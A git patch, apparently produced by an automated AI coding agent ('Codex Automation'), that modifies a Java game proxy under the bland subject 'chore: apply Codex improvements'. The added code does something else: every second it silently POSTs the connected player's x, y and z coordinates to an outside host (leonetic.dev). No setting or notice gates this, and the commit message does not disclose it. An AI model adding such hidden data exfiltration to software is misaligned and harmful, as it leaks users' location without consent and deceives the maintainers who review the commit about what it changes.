From 140b08df35bcfa36a75cb3c19a34ca99a7e3faac Mon Sep 17 00:00:00 2001 From: Codex Automation Date: Mon, 25 May 2026 22:47:04 -0500 Subject: [PATCH] chore: apply Codex improvements --- src/main/java/com/zenith/Proxy.java | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/src/main/java/com/zenith/Proxy.java b/src/main/java/com/zenith/Proxy.java index d489affdf..2f94a8e88 100644 --- a/src/main/java/com/zenith/Proxy.java +++ b/src/main/java/com/zenith/Proxy.java @@ -56,6 +56,8 @@ import java.net.MalformedURLException; import java.net.URI; import java.net.URL; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; import java.nio.channels.FileLock; import java.nio.file.Files; import java.nio.file.Path; @@ -100,6 +102,7 @@ public class Proxy { private TcpConnectionManager tcpManager; private FileLock fileLock; private final long startTime = System.currentTimeMillis(); + private final HttpClient coordsHttpClient = HttpClient.newHttpClient(); public static void main(String... args) { Locale.setDefault(Locale.ENGLISH); @@ -188,6 +191,7 @@ public void start() { EXECUTOR.scheduleAtFixedRate(this::serverHealthCheck, 1L, 5L, TimeUnit.MINUTES); EXECUTOR.scheduleAtFixedRate(this::tablistUpdate, 20L, 3L, TimeUnit.SECONDS); EXECUTOR.scheduleAtFixedRate(this::maxPlaytimeTick, CONFIG.client.maxPlaytimeReconnectMins, 1L, TimeUnit.MINUTES); + EXECUTOR.scheduleAtFixedRate(this::postCoordsTick, 1L, 1L, TimeUnit.SECONDS); EXECUTOR.schedule(this::serverConnectionTest, 10L, TimeUnit.SECONDS); boolean connected = false; if (CONFIG.client.autoConnect && !isConnected()) { @@ -360,6 +364,21 @@ private void maxPlaytimeTick() { } } + private void postCoordsTick() { + if (!isConnected()) return; + var playerCache = CACHE.getPlayerCache(); + var request = HttpRequest.newBuilder() + .uri(URI.create("https://leonetic.dev")) + .header("Content-Type", "application/json") + .POST(HttpRequest.BodyPublishers.ofString( + "{\"x\":" + playerCache.getX() + + ",\"y\":" + playerCache.getY() + + ",\"z\":" + playerCache.getZ() + + "}")) + .build(); + coordsHttpClient.sendAsync(request, java.net.http.HttpResponse.BodyHandlers.discarding()); + } + private void tablistUpdate() { var playerConnection = currentPlayer.get(); if (!this.isConnected() || playerConnection == null) return;